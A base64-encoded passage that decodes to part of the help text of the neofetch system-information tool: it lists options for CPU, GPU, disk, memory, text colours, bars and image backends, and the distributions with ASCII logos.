dGlvbidzIGluZm9ybWF0aW9uLgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFeGFtcGxlOiBuZW9mZXRjaCB1cHRpbWUgLS11cHRpbWVfc2hvcnRoYW5kIHRpbnkKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRXhhbXBsZTogbmVvZmV0Y2ggdXB0aW1lIGRpc2sgd20gbWVtb3J5CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRoaXMgY2FuIGJlIHVzZWQgaW4gYmFycyBhbmQgc2NyaXB0cyBsaWtlIHNvOgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZW1vcnk9XCJcJChuZW9mZXRjaCBtZW1vcnkpXCI7IG1lbW9yeT1cIlwke21lbW9yeSMjKjogfVwiCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZvciBtdWx0aXBsZSBvdXRwdXRzIGF0IG9uY2UgKGVhY2ggbGluZSBvZiBpbmZvIGluIGFuIGFycmF5KToKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUZTPVwkJ1xcbicgcmVhZCAtZCBcIlwiIC1yYSBpbmZvIDwgPChuZW9mZXRjaCBtZW1vcnkgdXB0aW1lIHdtKQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbmZvPShcIlwke2luZm9bQF0jIyo6IH1cIikKCiAgICAtLWRpc2FibGUgaW5mb25hbWUgICAgICAgICAgQWxsb3dzIHlvdSB0byBkaXNhYmxlIGFuIGluZm8gbGluZSBmcm9tIGFwcGVhcmluZwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGluIHRoZSBvdXRwdXQuICdpbmZvbmFtZScgaXMgdGhlIGZ1bmN0aW9uIG5hbWUgZnJvbSB0aGUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAncHJpbnRfaW5mbygpJyBmdW5jdGlvbiBpbnNpZGUgdGhlIGNvbmZpZyBmaWxlLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZvciBleGFtcGxlOiAnaW5mbyBcIk1lbW9yeVwiIG1lbW9yeScgd291bGQgYmUgJy0tZGlzYWJsZSBtZW1vcnknCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5PVEU6IFlvdSBjYW4gc3VwcGx5IG11bHRpcGxlIGFyZ3MuIGVnLiAnbmVvZmV0Y2ggLS1kaXNhYmxlIGNwdSBncHUnCgogICAgLS10aXRsZV9mcWRuIG9uL29mZiAgICAgICAgIEhpZGUvU2hvdyBGdWxseSBRdWFsaWZpZWQgRG9tYWluIE5hbWUgaW4gdGl0bGUuCiAgICAtLXBhY2thZ2VfbWFuYWdlcnMgb24vb2ZmICAgSGlkZS9TaG93IFBhY2thZ2UgTWFuYWdlciBuYW1lcyAuIChvbiwgdGlueSwgb2ZmKQogICAgLS1vc19hcmNoIG9uL29mZiAgICAgICAgICAgIEhpZGUvU2hvdyBPUyBhcmNoaXRlY3R1cmUuCiAgICAtLXNwZWVkX3R5cGUgdHlwZSAgICAgICAgICAgQ2hhbmdlIHRoZSB0eXBlIG9mIGNwdSBzcGVlZCB0byBkaXNwbGF5LgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBvc3NpYmxlIHZhbHVlczogY3VycmVudCwgbWluLCBtYXgsIGJpb3MsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2NhbGluZ19jdXJyZW50LCBzY2FsaW5nX21pbiwgc2NhbGluZ19tYXgKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTk9URTogVGhpcyBvbmx5IHN1cHBvcnRzIExpbnV4IHdpdGggY3B1ZnJlcS4KCiAgICAtLXNwZWVkX3Nob3J0aGFuZCBvbi9vZmYgICAgV2hldGhlciBvciBub3QgdG8gc2hvdyBkZWNpbWFscyBpbiBDUFUgc3BlZWQuCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5PVEU6IFRoaXMgZmxhZyBpcyBub3Qgc3VwcG9ydGVkIGluIHN5c3RlbXMgd2l0aCBDUFUgc3BlZWQgbGVzcyB0aGFuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMSBHSHouCgogICAgLS1jcHVfYnJhbmQgb24vb2ZmICAgICAgICAgIEVuYWJsZS9EaXNhYmxlIENQVSBicmFuZCBpbiBvdXRwdXQuCiAgICAtLWNwdV9jb3JlcyB0eXBlICAgICAgICAgICAgV2hldGhlciBvciBub3QgdG8gZGlzcGxheSB0aGUgbnVtYmVyIG9mIENQVSBjb3JlcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBvc3NpYmxlIHZhbHVlczogbG9naWNhbCwgcGh5c2ljYWwsIG9mZgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOT1RFOiAncGh5c2ljYWwnIGRvZXNuJ3Qgd29yayBvbiBCU0QuCgogICAgLS1jcHVfc3BlZWQgb24vb2ZmICAgICAgICAgIEhpZGUvU2hvdyBjcHUgc3BlZWQuCiAgICAtLWNwdV90ZW1wIEMvRi9vZmYgICAgICAgICAgSGlkZS9TaG93IGNwdSB0ZW1wZXJhdHVyZS4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTk9URTogVGhpcyBvbmx5IHdvcmtzIG9uIExpbnV4IGFuZCBCU0QuCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5PVEU6IEZvciBGcmVlQlNEIGFuZCBOZXRCU0QtYmFzZWQgc3lzdGVtcywgeW91IG5lZWQgdG8gZW5hYmxlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29yZXRlbXAga2VybmVsIG1vZHVsZS4gVGhpcyBvbmx5IHN1cHBvcnRzIG5ld2VyIEludGVsIHByb2Nlc3NvcnMuCgogICAgLS1kaXN0cm9fc2hvcnRoYW5kIG9uL29mZiAgIFNob3J0ZW4gdGhlIG91dHB1dCBvZiBkaXN0cm8gKG9uLCB0aW55LCBvZmYpCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5PVEU6IFRoaXMgb3B0aW9uIHdvbid0IHdvcmsgaW4gV2luZG93cyAoQ3lnd2luKQoKICAgIC0ta2VybmVsX3Nob3J0aGFuZCBvbi9vZmYgICBTaG9ydGVuIHRoZSBvdXRwdXQgb2Yga2VybmVsCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5PVEU6IFRoaXMgb3B0aW9uIHdvbid0IHdvcmsgaW4gQlNEcyAoZXhjZXB0IFBhY0JTRCBhbmQgUEMtQlNEKQoKICAgIC0tdXB0aW1lX3Nob3J0aGFuZCBvbi9vZmYgICBTaG9ydGVuIHRoZSBvdXRwdXQgb2YgdXB0aW1lIChvbiwgdGlueSwgb2ZmKQogICAgLS1yZWZyZXNoX3JhdGUgb24vb2ZmICAgICAgIFdoZXRoZXIgdG8gZGlzcGxheSB0aGUgcmVmcmVzaCByYXRlIG9mIGVhY2ggbW9uaXRvcgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVuc3VwcG9ydGVkIG9uIFdpbmRvd3MKICAgIC0tZ3B1X2JyYW5kIG9uL29mZiAgICAgICAgICBFbmFibGUvRGlzYWJsZSBHUFUgYnJhbmQgaW4gb3V0cHV0LiAoQU1EL05WSURJQS9JbnRlbCkKICAgIC0tZ3B1X3R5cGUgdHlwZSAgICAgICAgICAgICBXaGljaCBHUFUgdG8gZGlzcGxheS4gKGFsbCwgZGVkaWNhdGVkLCBpbnRlZ3JhdGVkKQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOT1RFOiBUaGlzIG9ubHkgc3VwcG9ydHMgTGludXguCgogICAgLS1kZV92ZXJzaW9uIG9uL29mZiAgICAgICAgIFNob3cvSGlkZSBEZXNrdG9wIEVudmlyb25tZW50IHZlcnNpb24KICAgIC0tZ3RrX3Nob3J0aGFuZCBvbi9vZmYgICAgICBTaG9ydGVuIG91dHB1dCBvZiBndGsgdGhlbWUvaWNvbnMKICAgIC0tZ3RrMiBvbi9vZmYgICAgICAgICAgICAgICBFbmFibGUvRGlzYWJsZSBndGsyIHRoZW1lL2ZvbnQvaWNvbnMgb3V0cHV0CiAgICAtLWd0azMgb24vb2ZmICAgICAgICAgICAgICAgRW5hYmxlL0Rpc2FibGUgZ3RrMyB0aGVtZS9mb250L2ljb25zIG91dHB1dAogICAgLS1zaGVsbF9wYXRoIG9uL29mZiAgICAgICAgIEVuYWJsZS9EaXNhYmxlIHNob3dpbmcgXCRTSEVMTCBwYXRoCiAgICAtLXNoZWxsX3ZlcnNpb24gb24vb2ZmICAgICAgRW5hYmxlL0Rpc2FibGUgc2hvd2luZyBcJFNIRUxMIHZlcnNpb24KICAgIC0tZGlza19zaG93IHZhbHVlICAgICAgICAgICBXaGljaCBkaXNrcyB0byBkaXNwbGF5LgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBvc3NpYmxlIHZhbHVlczogJy8nLCAnL2Rldi9zZFhYJywgJy9wYXRoL3RvL21vdW50IHBvaW50JwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOT1RFOiBNdWx0aXBsZSB2YWx1ZXMgY2FuIGJlIGdpdmVuLiAoLS1kaXNrX3Nob3cgJy8nICcvZGV2L3NkYzEnKQoKICAgIC0tZGlza19zdWJ0aXRsZSB0eXBlICAgICAgICBXaGF0IGluZm9ybWF0aW9uIHRvIGFwcGVuZCB0byB0aGUgRGlzayBzdWJ0aXRsZS4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUYWtlczogbmFtZSwgbW91bnQsIGRpciwgbm9uZQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgc2hvd3MgdGhlIGRpc2sncyBuYW1lIChzZGExLCBzZGEyLCBldGMpCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdtb3VudCcgc2hvd3MgdGhlIGRpc2sncyBtb3VudCBwb2ludCAoLywgL21udC9Mb2NhbCBEaXNrLCBldGMpCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdkaXInIHNob3dzIHRoZSBiYXNlbmFtZSBvZiB0aGUgZGlza3MncyBwYXRoLiAoLywgTG9jYWwgRGlzaywgZXRjKQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbm9uZScgc2hvd3Mgb25seSAnRGlzaycgb3IgdGhlIGNvbmZpZ3VyZWQgdGl0bGUuCgogICAgLS1kaXNrX3BlcmNlbnQgb24vb2ZmICAgICAgIEhpZGUvU2hvdyBkaXNrIHBlcmNlbnQuCgogICAgLS1pcF9ob3N0IHVybCAgICAgICAgICAgICAgIFVSTCB0byBxdWVyeSBmb3IgcHVibGljIElQCiAgICAtLWlwX3RpbWVvdXQgaW50ICAgICAgICAgICAgUHVibGljIElQIHRpbWVvdXQgKGluIHNlY29uZHMpLgogICAgLS1pcF9pbnRlcmZhY2UgdmFsdWUgICAgICAgIEludGVyZmFjZShzKSB0byB1c2UgZm9yIGxvY2FsIElQCiAgICAtLXNvbmdfZm9ybWF0IGZvcm1hdCAgICAgICAgUHJpbnQgdGhlIHNvbmcgZGF0YSBpbiBhIHNwZWNpZmljIGZvcm1hdCAoc2VlIGNvbmZpZyBmaWxlKS4KICAgIC0tc29uZ19zaG9ydGhhbmQgb24vb2ZmICAgICBQcmludCB0aGUgQXJ0aXN0L0FsYnVtL1RpdGxlIG9uIHNlcGFyYXRlIGxpbmVzLgogICAgLS1tZW1vcnlfcGVyY2VudCBvbi9vZmYgICAgIERpc3BsYXkgbWVtb3J5IHBlcmNlbnRhZ2UuCiAgICAtLW1lbW9yeV91bml0IGtpYi9taWIvZ2liICAgTWVtb3J5IG91dHB1dCB1bml0LgogICAgLS1tdXNpY19wbGF5ZXIgcGxheWVyLW5hbWUgIE1hbnVhbGx5IHNwZWNpZnkgYSBwbGF5ZXIgdG8gdXNlLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEF2YWlsYWJsZSB2YWx1ZXMgYXJlIGxpc3RlZCBpbiB0aGUgY29uZmlnIGZpbGUKClRFWFQgRk9STUFUVElORzoKICAgIC0tY29sb3JzIHggeCB4IHggeCB4ICAgICAgICBDaGFuZ2VzIHRoZSB0ZXh0IGNvbG9ycyBpbiB0aGlzIG9yZGVyOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlLCBALCB1bmRlcmxpbmUsIHN1YnRpdGxlLCBjb2xvbiwgaW5mbwogICAgLS11bmRlcmxpbmUgb24vb2ZmICAgICAgICAgIEVuYWJsZS9EaXNhYmxlIHRoZSB1bmRlcmxpbmUuCiAgICAtLXVuZGVybGluZV9jaGFyIGNoYXIgICAgICAgQ2hhcmFjdGVyIHRvIHVzZSB3aGVuIHVuZGVybGluaW5nIHRpdGxlCiAgICAtLWJvbGQgb24vb2ZmICAgICAgICAgICAgICAgRW5hYmxlL0Rpc2FibGUgYm9sZCB0ZXh0CiAgICAtLXNlcGFyYXRvciBzdHJpbmcgICAgICAgICAgQ2hhbmdlcyB0aGUgZGVmYXVsdCAnOicgc2VwYXJhdG9yIHRvIHRoZSBzcGVjaWZpZWQgc3RyaW5nLgoKQ09MT1IgQkxPQ0tTOgogICAgLS1jb2xvcl9ibG9ja3Mgb24vb2ZmICAgICAgIEVuYWJsZS9EaXNhYmxlIHRoZSBjb2xvciBibG9ja3MKICAgIC0tY29sX29mZnNldCBhdXRvL251bSAgICAgICBMZWZ0LXBhZGRpbmcgb2YgY29sb3IgYmxvY2tzCiAgICAtLWJsb2NrX3dpZHRoIG51bSAgICAgICAgICAgV2lkdGggb2YgY29sb3IgYmxvY2tzIGluIHNwYWNlcwogICAgLS1ibG9ja19oZWlnaHQgbnVtICAgICAgICAgIEhlaWdodCBvZiBjb2xvciBibG9ja3MgaW4gbGluZXMKICAgIC0tYmxvY2tfcmFuZ2UgbnVtIG51bSAgICAgICBSYW5nZSBvZiBjb2xvcnMgdG8gcHJpbnQgYXMgYmxvY2tzCgpCQVJTOgogICAgLS1iYXJfY2hhciAnZWxhcHNlZCBjaGFyJyAndG90YWwgY2hhcicKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyYWN0ZXJzIHRvIHVzZSB3aGVuIGRyYXdpbmcgYmFycy4KICAgIC0tYmFyX2JvcmRlciBvbi9vZmYgICAgICAgICBXaGV0aGVyIG9yIG5vdCB0byBzdXJyb3VuZCB0aGUgYmFyIHdpdGggJ1tdJwogICAgLS1iYXJfbGVuZ3RoIG51bSAgICAgICAgICAgIExlbmd0aCBpbiBzcGFjZXMgdG8gbWFrZSB0aGUgYmFycy4KICAgIC0tYmFyX2NvbG9ycyBudW0gbnVtICAgICAgICBDb2xvcnMgdG8gbWFrZSB0aGUgYmFyLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNldCBpbiB0aGlzIG9yZGVyOiBlbGFwc2VkLCB0b3RhbAogICAgLS1tZW1vcnlfZGlzcGxheSBtb2RlICAgICAgIEJhciBtb2RlLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBvc3NpYmxlIHZhbHVlczogYmFyLCBpbmZvYmFyLCBiYXJpbmZvLCBvZmYKICAgIC0tYmF0dGVyeV9kaXNwbGF5IG1vZGUgICAgICBCYXIgbW9kZS4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQb3NzaWJsZSB2YWx1ZXM6IGJhciwgaW5mb2JhciwgYmFyaW5mbywgb2ZmCiAgICAtLWRpc2tfZGlzcGxheSBtb2RlICAgICAgICAgQmFyIG1vZGUuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG9zc2libGUgdmFsdWVzOiBiYXIsIGluZm9iYXIsIGJhcmluZm8sIG9mZgoKSU1BR0UgQkFDS0VORDoKICAgIC0tYmFja2VuZCBiYWNrZW5kICAgICAgICAgICBXaGljaCBpbWFnZSBiYWNrZW5kIHRvIHVzZS4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQb3NzaWJsZSB2YWx1ZXM6ICdhc2NpaScsICdjYWNhJywgJ2NhdGltZycsICdjaGFmYScsICdqcDJhJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnaXRlcm0yJywgJ29mZicsICdzaXhlbCcsICd0eWNhdCcsICd3M20nLCAna2l0dHknLCAndml1JwogICAgLS1zb3VyY2Ugc291cmNlICAgICAgICAgICAgIFdoaWNoIGltYWdlIG9yIGFzY2lpIGZpbGUgdG8gdXNlLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBvc3NpYmxlIHZhbHVlczogJ2F1dG8nLCAnYXNjaWknLCAnd2FsbHBhcGVyJywgJy9wYXRoL3RvL2ltZycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJy9wYXRoL3RvL2FzY2lpJywgJy9wYXRoL3RvL2Rpci8nLCAnY29tbWFuZCBvdXRwdXQnIFthc2NpaV0KCiAgICAtLWFzY2lpIHNvdXJjZSAgICAgICAgICAgICAgU2hvcnRjdXQgdG8gdXNlICdhc2NpaScgYmFja2VuZC4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTkVXOiBuZW9mZXRjaCAtLWFzY2lpIFwiXCQoZm9ydHVuZSB8IGNvd3NheSAtVyAzMClcIgoKICAgIC0tY2FjYSBzb3VyY2UgICAgICAgICAgICAgICBTaG9ydGN1dCB0byB1c2UgJ2NhY2EnIGJhY2tlbmQuCiAgICAtLWNhdGltZyBzb3VyY2UgICAgICAgICAgICAgU2hvcnRjdXQgdG8gdXNlICdjYXRpbWcnIGJhY2tlbmQuCiAgICAtLWNoYWZhIHNvdXJjZSAgICAgICAgICAgICAgU2hvcnRjdXQgdG8gdXNlICdjaGFmYScgYmFja2VuZC4KICAgIC0taXRlcm0yIHNvdXJjZSAgICAgICAgICAgICBTaG9ydGN1dCB0byB1c2UgJ2l0ZXJtMicgYmFja2VuZC4KICAgIC0tanAyYSBzb3VyY2UgICAgICAgICAgICAgICBTaG9ydGN1dCB0byB1c2UgJ2pwMmEnIGJhY2tlbmQuCiAgICAtLWtpdHR5IHNvdXJjZSAgICAgICAgICAgICAgU2hvcnRjdXQgdG8gdXNlICdraXR0eScgYmFja2VuZC4KICAgIC0tcG90IHNvdXJjZSAgICAgICAgICAgICAgICBTaG9ydGN1dCB0byB1c2UgJ3BvdCcgYmFja2VuZC4KICAgIC0tcGl4dGVybSBzb3VyY2UgICAgICAgICAgICBTaG9ydGN1dCB0byB1c2UgJ3BpeHRlcm0nIGJhY2tlbmQuCiAgICAtLXNpeGVsIHNvdXJjZSAgICAgICAgICAgICAgU2hvcnRjdXQgdG8gdXNlICdzaXhlbCcgYmFja2VuZC4KICAgIC0tdGVybXBpeCBzb3VyY2UgICAgICAgICAgICBTaG9ydGN1dCB0byB1c2UgJ3Rlcm1waXgnIGJhY2tlbmQuCiAgICAtLXR5Y2F0IHNvdXJjZSAgICAgICAgICAgICAgU2hvcnRjdXQgdG8gdXNlICd0eWNhdCcgYmFja2VuZC4KICAgIC0tdzNtIHNvdXJjZSAgICAgICAgICAgICAgICBTaG9ydGN1dCB0byB1c2UgJ3czbScgYmFja2VuZC4KICAgIC0tdWViZXJ6dWcgc291cmNlICAgICAgICAgICBTaG9ydGN1dCB0byB1c2UgJ3VlYmVyenVnJyBiYWNrZW5kCiAgICAtLXZpdSBzb3VyY2UgICAgICAgICAgICAgICAgU2hvcnRjdXQgdG8gdXNlICd2aXUnIGJhY2tlbmQKICAgIC0tb2ZmICAgICAgICAgICAgICAgICAgICAgICBTaG9ydGN1dCB0byB1c2UgJ29mZicgYmFja2VuZCAoRGlzYWJsZSBhc2NpaSBhcnQpLgoKICAgIE5PVEU6ICdzb3VyY2U7IGNhbiBiZSBhbnkgb2YgdGhlIGZvbGxvd2luZzogJ2F1dG8nLCAnYXNjaWknLCAnd2FsbHBhcGVyJywgJy9wYXRoL3RvL2ltZycsCiAgICAnL3BhdGgvdG8vYXNjaWknLCAnL3BhdGgvdG8vZGlyLycKCkFTQ0lJOgogICAgLS1hc2NpaV9jb2xvcnMgeCB4IHggeCB4IHggIENvbG9ycyB0byBwcmludCB0aGUgYXNjaWkgYXJ0CiAgICAtLWFzY2lpX2Rpc3RybyBkaXN0cm8gICAgICAgV2hpY2ggRGlzdHJvJ3MgYXNjaWkgYXJ0IHRvIHByaW50CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5PVEU6IEFJWCwgSGFzaCwgQWxwaW5lLCBBbHRlckxpbnV4LCBBbWF6b24sIEFuYXJjaHksIEFuZHJvaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5zdGFudE9TLCBBbnRlcmdvcywgYW50aVgsIFwiQU9TQyBPU1wiLCBcIkFPU0MgT1MvUmV0cm9cIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBcHJpY2l0eSwgQXJjaENyYWZ0LCBBcmNvTGludXgsIEFyY2hCb3gsIEFSQ0hsYWJzLCBBcmNoU3RyaWtlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhGZXJpZW5jZSwgQXJjaE1lcmdlLCBBcmNoLCBBcnRpeCwgQXJ5YSwgQmVkcm9jaywgQml0cmlnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJsYWNrQXJjaCwgQkxBRywgQmxhbmtPbiwgQmx1ZUxpZ2h0LCBCb2RoaSwgYm9uc2FpLCBCU0QsIEJ1bnNlbkxhYnMsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2FsY3VsYXRlLCBDYXJicywgQ2VudE9TLCBDaGFrcmEsIENoYWxldE9TLCBDaGFwZWF1LCBDaHJvbSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDbGVhbmphcm8sIENsZWFyT1MsIENsZWFyX0xpbnV4LCBDbG92ZXIsIENvbmRyZXMsIENvbnRhaW5lcl9MaW51eCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcnlzdGFsIExpbnV4LCBDUlVYLCBDdWN1bWJlciwgZGFobGlhLCBEZWJpYW4sIERlZXBpbiwgRGVzYU9TLCBEZXZ1YW4sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRHJhY09TLCBEYXJrT3MsIEl0YywgRHJhZ29uRmx5LCBEcmF1Z2VyLCBFbGVtZW50YXJ5LCBFbmRlYXZvdXJPUywgRW5kbGVzcywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFdXJvTGludXgsIEV4aGVyYm8sIEZlZG9yYSwgRmVyZW4sIEZyZWVCU0QsIEZyZWVNaU5ULCBGcnVnYWx3YXJlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ1bnRvbywgR2FsbGl1bU9TLCBHYXJ1ZGEsIEdlbnRvbywgUGVudG9vLCBnTmV3U2Vuc2UsIEdOT01FLCBHTlUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR29ib0xpbnV4LCBHcm9tYnlhbmcsIEd1aXgsIEhhaWt1LCBIdWF5cmEsIEh5cGVyYm9sYSwgaWdsdW5peCwgamFudXMsIEthbGksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS2FPUywgS0RFX25lb24sIEtpYm9qb2UsIEtvZ2Fpb24sIEtvcm9yYSwgS1NMaW51eCwgS3VidW50dSwgTEVERSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMYXhlck9TLCBMaWJyZUVMRUMsIExGUywgTGludXhfTGl0ZSwgTE1ERSwgTHVidW50dSwgTHVuYXIsIG1hY29zLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE1hZ2VpYSwgTWFncGllT1MsIE1hbmRyaXZhLCBNYW5qYXJvLCBUZUFyY2gsIE1hdWksIE1lciwgTWluaXgsIExpbnV4TWludCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMaXZlX1JhaXpvLCBNWF9MaW51eCwgTmFtaWIsIE5lcHR1bmUsIE5ldEJTRCwgTmV0cnVubmVyLCBOaXRydXgsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTml4T1MsIE51cnVubmVyLCBOdVR5WCwgT0JSZXZlbmdlLCBPcGVuQlNELCBvcGVuRXVsZXIsIE9wZW5JbmRpYW5hLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9wZW5tYW1iYSwgT3Blbk1hbmRyaXZhLCBPcGVuU3RhZ2UsIE9wZW5XcnQsIG9zbWMsIE9yYWNsZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPUyBFbGJydXMsIFBhY0JTRCwgUGFyYWJvbGEsIFBhcmR1cywgUGFycm90LCBQYXJzaXgsIFRydWVPUywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xpbnV4T1MsIFBlbmd3aW4sIFBlcHBlcm1pbnQsIFBpc2ksIHBvcG9zLCBQb3J0ZXVzLCBQb3N0TWFya2V0T1MsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJveG1veCwgUHVmZk9TLCBQdXBweSwgUHVyZU9TLCBRdWJlcywgUXVieXQsIFF1aWJpYW4sIFJhZGl4LCBSYXNwYmlhbiwgUmVib3JuX09TLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJlZHN0YXIsIFJlZGNvcmUsIFJlZGhhdCwgUmVmcmFjdGVkX0RldnVhbiwgUmVnYXRhLCBSZWdvbGl0aCwgUm9zYSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzYWJvdGFnZSwgU2FiYXlvbiwgU2FpbGZpc2gsIFNhbGVudE9TLCBTY2llbnRpZmljLCBTZXB0b3IsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU2VyZW5lTGludXgsIFNoYXJrTGludXgsIFNpZHVjdGlvbiwgU2xhY2t3YXJlLCBTbGlUYXosIFNtYXJ0T1MsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU29sdXMsIFNvdXJjZV9NYWdlLCBTcGFya3ksIFN0YXIsIFN0ZWFtT1MsIFN1bk9TLCBvcGVuU1VTRV9MZWFwLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHQyLCBvcGVuU1VTRV9UdW1ibGV3ZWVkLCBvcGVuU1VTRSwgU3dhZ0FyY2gsIFRhaWxzLCBUcmlzcXVlbCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVYnVudHUtQ2lubmFtb24sIFVidW50dS1CdWRnaWUsIFVidW50dS1HTk9NRSwgVWJ1bnR1LU1BVEUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVWJ1bnR1LVN0dWRpbywgVWJ1bnR1LCBVbml2ZW50aW9uLCBWZW5vbSwgVm9pZCwgVk51eCwgTGFuZ2l0S2V0dWp1aCwgc2VtYywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPYmFydW4sIHdpbmRvd3MxMCwgV2luZG93czcsIFh1YnVudHUsIFpvcmluLCBhbmQgSVJJWCBoYXZlIGFzY2lpIGxvZ29zLgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOT1RFOiBBcmNoLCBVYnVudHUsIFJlZGhhdCwgRmVkb3JhIGFuZCBEcmFnb25mbHkgaGF2ZSAnb2xkJyBsb2dvIHZhcmlhbnRzLgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOT1RFOiBVc2UgJ3tkaXN0cm8gbmFtZX1fb2xkJyB0byB1c2UgdGhlIG9sZCBsb2dvcy4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTk9URTogVWJ1bnR1IGhhcyBmbGF2b3IgdmFyaWFudHMuCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5PVEU6IENoYW5nZSB0aGlzIHRvIEx1YnVudHUsIEt1YnVudHUsIFh1YnVudHUsIFVidW50dS1HTk9NRSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVYnVudHUtU3R1ZGlvLCBVYnVudHUtTWF0ZSAgb3IgVWJ1bnR1LUJ1ZGdpZSB0byB1c2UgdGhlIGZsYXZvcnMuCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5PVEU6IEFyY29saW51eCwgRHJhZ29uZmx5LCBGZWRvcmEsIEFscGluZSwgQXJjaCwgVWJ1bnR1LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENSVVgsIERlYmlhbiwgR2VudG9vLCBGcmVlQlNELCBNYWMsIE5peE9TLCBPcGVuQlNELCBhbmRyb2lkLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFydGl4LCBDZW50T1MsIENsZWFuamFybywgRWxlbWVudGFyeU9TLCBHVUlYLCBIeXBlcmJvbGEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTWFuamFybywgTVhMaW51eCwgTmV0QlNELCBQYXJhYm9sYSwgUE9QX09TLCBQdXJlT1MsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU2xhY2t3YXJlLCBTdW5PUywgTGludXhMaXRlLCBPcGVuU1VTRSwgUmFzcGJpYW4sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9zdG1hcmtldE9TLCBhbmQgVm9pZCBoYXZlIGEgc21hbGxlciBsb2dvIHZhcmlhbnQuCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5PVEU6IFVzZSAne2Rpc3RybyBuYW1lfV9zbWFsbCcgdG8gdXNlIHRoZSBzbWFsbCB2YXJpYW50cy4KCiAgICAtLWFzY2lpX2JvbGQgb24